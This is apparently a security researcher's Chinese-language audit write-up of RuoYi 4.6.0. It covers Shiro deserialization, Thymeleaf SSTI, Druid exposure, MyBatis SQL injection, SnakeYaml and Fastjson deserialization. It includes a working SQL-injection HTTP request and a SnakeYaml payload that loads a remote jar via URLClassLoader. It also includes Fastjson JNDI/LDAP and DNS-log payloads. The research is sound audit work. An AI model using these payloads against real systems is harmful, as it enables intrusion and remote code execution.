ruoyi-4.6.0漏洞
环境搭建
https://gitee.com/y_project/RuoYi
我先选择的4.6版本
mysql创建数据库:
1
2
3
4
|
CREATE DATABASE ry CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
use ry;
source /Users/lnhsec/Desktop/Lnh/Vuln_Analysis/RuoYi-v4.6.0/sql/quartz.sql
source /Users/lnhsec/Desktop/Lnh/Vuln_Analysis/RuoYi-v4.6.0/sql/ry_20201214.sql
|
在/RuoYi-v4.6.0/ruoyi-admin/src/main/resources
的application-druid.yml
、application.yml
修改mysql账户密码, 访问端口, 在logback.xml
修改日志目录
然后在/RuoYi-v4.6.0/ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication
运行即可, 这样方便调试
或者使用maven打包为jar, 然后运行java -jar ruoyi-admin.jar
即可
若依项目结构
- ruoyi-admin 启动模块,启动配置在resource的yml下
- ruoyi-framework 主题框架模块,框架怎么运行的仔细看看,这个是核心重点
- ruoyi-system 业务模块,几乎所有业务都在这里
- ruoyi-quartz 定时任务模块,跑的定时任务基本都在这里
- ruoyi-generator 基础公共表的操作,相当于基础表和基础业务存放位置
- ruoyi-common 公共代码模块,list转set什么的一般放这里,自己不要瞎写方法,公共的都放这里
pom.xml
审计

存在一些出现过问题的组件, shiro、fastjson、swagger、thymeleaf、druid等; 对于这种项目结构的项目, 最好把每个子项目的pom文件也去翻一遍(ruoyi-common
中也有snakeyaml
)
Shiro组件
Shiro反序列化(RuoYi<V-4.6.2)
漏洞原理: Shiro
将用户认证信息存储到remeberme
字段中, 后端读取该字段是将该字段在服务器反序列化。
虽然shiro使用了AES加密remeberme字段信息, 但是由于shiro-1.2.4
版本在依赖jar中硬编码该密钥, 因此使用shiro-1.2.4
版本的系统则可以通过该密钥解密remeberme字段数据, 在remeberme字段中写入恶意的类, 即shiro550
漏洞的原理。
1.2.5版本以后shiro提供了AES密钥的随机生成代码, 但是如果仅进行shiro的版本升级, AES密钥仍硬编码在代码中, 仍然会存在反序列化风险。

可以反序列化, 但没链子
在白盒可以直接搜索setCipherKey
, 如果存在, 那就说明使用了默认key的, 可以全局搜索cipherKey
查看key值
修复方式
支持动态生成密匙,防止默认密钥泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/**
* 记住我
*/
public CustomCookieRememberMeManager rememberMeManager()
{
CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
if (StringUtils.isNotEmpty(cipherKey))
{
cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
}
else
{
cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
}
return cookieRememberMeManager;
}
|
第一,通过如下链接就可以查看这个版本修复了哪些 ISSUES, 方便定位。
https://issues.apache.org/jira/issues/?jql=project%20%3D%20SHIRO%20AND%20fixVersion%20%3D%201.5.2
第二,通过 diff 版本来查看差异代码分析漏洞, 语法如下。
https://github.com/用户名/项目/compare/TAG名…TAG名
例如:https://github.com/apache/shiro/compare/shiro-root-1.7.0…shiro-root-1.7.1
小疑问
有被动扫描可以发现登陆界面是否存在shiro组件的插件么, 因为不是每次访问都要去开burp查看流量, 可能在黑盒就会漏掉shiro反序列化漏洞
Shiro权限绕过
因为查看shiro版本是存在权限绕过漏洞的
CVE编号 |
漏洞说明 |
漏洞版本 |
CVE-2016-6802 |
Context Path 路径标准化导致绕过 |
shrio <1.3.2 |
CVE-2020-1957 |
Spring 与 Shiro 对于 “/” 和 “;” 处理差异导致绕过 |
Shiro <= 1.5.1 |
CVE-2020-11989 |
Shiro 二次解码导致的绕过以及 ContextPath 使用 “;” 的绕过 |
shiro < 1.5.3 |
CVE-2020-13933 |
由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%3b” 的绕过 |
shiro < 1.6.0 |
CVE-2020-17510 |
由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%2e” 的绕过 |
Shiro < 1.7.0 |
CVE-2020-17523 |
Shiro 匹配鉴权路径时会对分隔的 token 进行 trim 操作 导致的使用 “%20” 的绕过 |
Shiro <1.7.1 |
这时就要去看项目中对权限配置的地方, 是否有可利用的点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager)
{
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
// Shiro的核心安全接口,这个属性是必须的
shiroFilterFactoryBean.setSecurityManager(securityManager);
// 身份认证失败,则跳转到登录页面的配置
shiroFilterFactoryBean.setLoginUrl(loginUrl);
// 权限认证失败,则跳转到指定页面
shiroFilterFactoryBean.setUnauthorizedUrl(unauthorizedUrl);
// Shiro连接约束配置,即过滤链的定义
LinkedHashMap<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
// 对静态资源设置匿名访问
filterChainDefinitionMap.put("/favicon.ico**", "anon");
filterChainDefinitionMap.put("/ruoyi.png**", "anon");
filterChainDefinitionMap.put("/css/**", "anon");
filterChainDefinitionMap.put("/docs/**", "anon");
filterChainDefinitionMap.put("/fonts/**", "anon");
filterChainDefinitionMap.put("/img/**", "anon");
filterChainDefinitionMap.put("/ajax/**", "anon");
filterChainDefinitionMap.put("/js/**", "anon");
filterChainDefinitionMap.put("/ruoyi/**", "anon");
filterChainDefinitionMap.put("/captcha/captchaImage**", "anon");
// 退出 logout地址,shiro去清除session
filterChainDefinitionMap.put("/logout", "logout");
// 不需要拦截的访问
filterChainDefinitionMap.put("/login", "anon,captchaValidate");
// 注册相关
filterChainDefinitionMap.put("/register", "anon,captchaValidate");
// 系统权限列表
// filterChainDefinitionMap.putAll(SpringUtils.getBean(IMenuService.class).selectPermsAll());
Map<String, Filter> filters = new LinkedHashMap<String, Filter>();
filters.put("onlineSession", onlineSessionFilter());
filters.put("syncOnlineSession", syncOnlineSessionFilter());
filters.put("captchaValidate", captchaValidateFilter());
filters.put("kickout", kickoutSessionFilter());
// 注销成功,则跳转到指定页面
filters.put("logout", logoutFilter());
shiroFilterFactoryBean.setFilters(filters);
// 所有请求需要认证
filterChainDefinitionMap.put("/**", "user,kickout,onlineSession,syncOnlineSession");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
return shiroFilterFactoryBean;
}
|
这里对除静态资源可以通过匿名访问, 其他任何路径都需要认证才能访问, 这就导致了不存在权限绕过漏洞
Thymeleaf
因为看到Thymeleaf依赖版本是在漏洞版本, 原理可以看之前的文章
因为若依这个项目的都采用的是@Controller
注解, 现在就是要去找可用的controller
(即返回值可控的)
我们关注两点:
- URL 路径可控
- return 内容可控
编写codeql缩小范围
1
2
3
4
5
6
7
8
9
10
11
|
import java
class AllControllerMethod extends Callable {
AllControllerMethod() {
this.getReturnType().toString() = "String" and
this.getDeclaringType().getASupertype*().getQualifiedName().matches("%Controller")
}
}
from AllControllerMethod acm
select acm.getParameter(0)
|

可以发现/monitor/cache/getNames
可以post一个fragment
, 从而触发SSTI

但还是需要登录
当然这里还是无回显的, 可以打内存马, 但是通过模版注入打内存马暂时没看, 也不想看, 遇到实际场景或者需要的时候再学即可
druid泄漏
挂xray就可以检测出来

正常的来说, 这个页面是需要登陆的, 而在我们登陆若依后, 访问的时候就直接访问到了, 对于swaggerui也是

SQL注入
若依采用的是mybatis
方式去与数据库交互的, 可以先看下ruoyi怎么配置mybatis的
ruoyi中关于mybatis的相关配置在application.yml
文件中:
1
2
3
4
5
6
7
8
|
# MyBatis
mybatis:
# 搜索指定包别名
typeAliasesPackage: com.ruoyi.**.domain
# 配置mapper的扫描,找到所有的mapper.xml映射文件
mapperLocations: classpath*:mapper/**/*Mapper.xml
# 加载全局的配置文件
configLocation: classpath:mybatis/mybatis-config.xml
|
所以全部的sql语句都在mapper/**/*Mapper.xml
下
简单粗暴的方法,遍历所有classpath
:mapper/**/*Mapper.xml
文件, 因为它的配置文件都是在resources
目录下, 就可以直接搜索${}
, 只看resources
目录下的, 这样就减少了大量的log、字符串常量、XML描述符的部分

例如:
1
2
3
4
5
6
7
8
9
|
<update id="updateDeptStatus" parameterType="SysDept">
update sys_dept
<set>
<if test="status != null and status != ''">status = #{status},</if>
<if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
update_time = sysdate()
</set>
where dept_id in (${ancestors})
</update>
|
其实找到这里之后, ruoyi的sql注入就很ez了, 只需要往前找调用处即可找到Controller
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@RequiresPermissions("system:dept:edit")
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysDept dept)
{
if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
{
return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
}
else if (dept.getParentId().equals(dept.getDeptId()))
{
return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
}
else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
&& deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
{
return AjaxResult.error("该部门包含未停用的子部门!");
}
dept.setUpdateBy(ShiroUtils.getLoginName());
return toAjax(deptService.updateDept(dept));
}
|
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /system/dept/edit HTTP/1.1
Host: 192.168.1.148:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.148:8888/login
Cookie: JSESSIONID=5753231a-95d6-4c1b-a8e5-79dec426774f
Content-Type: application/x-www-form-urlencoded
deptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
|
其他应该都可以利用的
codeql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
/**
* @kind path-problem
*/
import java
class SqlMethod extends Callable {
SqlMethod() {
this.getName() = "selectDeptList" or
this.getName() = "updateDeptStatus" or
this.getName() = "selectRoleList" or
this.getName() = "selectUserList" or
this.getName() = "selectAllocatedList" or
this.getName() = "selectUnallocatedList"
}
}
class AllControllerMethod extends Callable {
AllControllerMethod() {
this.getDeclaringType().getASupertype*().getQualifiedName().matches("%Controller")
}
}
// 定义一个调用图的边关系, 表示 a 可以调用 b
// 考虑了多态(polyCalls)的情况, 也就是说不仅考虑直接调用, 还考虑重载或实现关系的调用。
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from AllControllerMethod source, SqlMethod sink, Callable c
// 使用+, 表示在 edges 定义的调用图上做传递闭包
// 即从 source(Controller 方法)出发, 经由多个中间方法, 是否最终可以到达 c。
where edges+(source, c)
select sink, source, sink.getACallee(), "sql"
|

SnakeYaml
全局搜yaml

这里可以读取文件, 然后反序列化, 但是该方法并没有被调用
但是项目中有一个定时任务的功能

执行一次之后可以看见后端出现“执行无参方法”, 全局搜索

可以发现正是定时任务中写的ryTask.ryNoParams
, 那么这里就可以通过Bean调用或者Class调用来执行指定类及其方法
来一发java.lang.Runtime.getRuntime().exec("whoami")

看到private相关的错误, 找到JobInvokeUtil#invokeMethod

判断全限定类名是否合法, 合法就通过Bean调用, 否则利用Class反射调用, 但是这里没有获取Constructor
并设置setAccessible(true)
, 所以目标类具有非public的无参构造函数来实例化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
{
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
else
{
Method method = bean.getClass().getDeclaredMethod(methodName);
method.invoke(bean);
}
}
|
目标类的目标方法因为没有setAccessible(true)
, 所以也需要是public, 因为在获取Method的时候指定了方法的参数的Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
, 所以反射调用的方法不需要需要是无参的方法
所以Runtime类不符合, 可以使用Yaml反序列化
1
2
3
4
5
6
7
|
public Yaml() {
this(new Constructor(), new Representer(), new DumperOptions(), new LoaderOptions(), new Resolver());
}
public <T> T load(String yaml) {
return (T)this.loadFromReader(new StreamReader(yaml), Object.class);
}
|
1
2
|
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]]]]')
|
Fastjson
全局搜索parseObject
方法
在业务层发现调用

1
2
3
4
5
6
7
8
|
public Map<String, Object> getParams()
{
if (params == null)
{
params = new HashMap<>();
}
return params;
}
|
反序列化的参数需要是map类型
查找方法在哪里调用

可以直接post, 直接post一个params发现有些其他字段不能为空, 依次添加即可

假如poc为:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh"}
就需要改为下面的格式:
1
|
params[@type]=org.apache.shiro.jndi.JndiObjectFactory¶ms[@resourceName]=ldap://192.168.0.107:1389/y0drfh
|

但是4.6版本的fastjson版本比这个高, 需要找绕过的poc, 但其poc有嵌套结构, 还不知道如何转换为map的类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]
|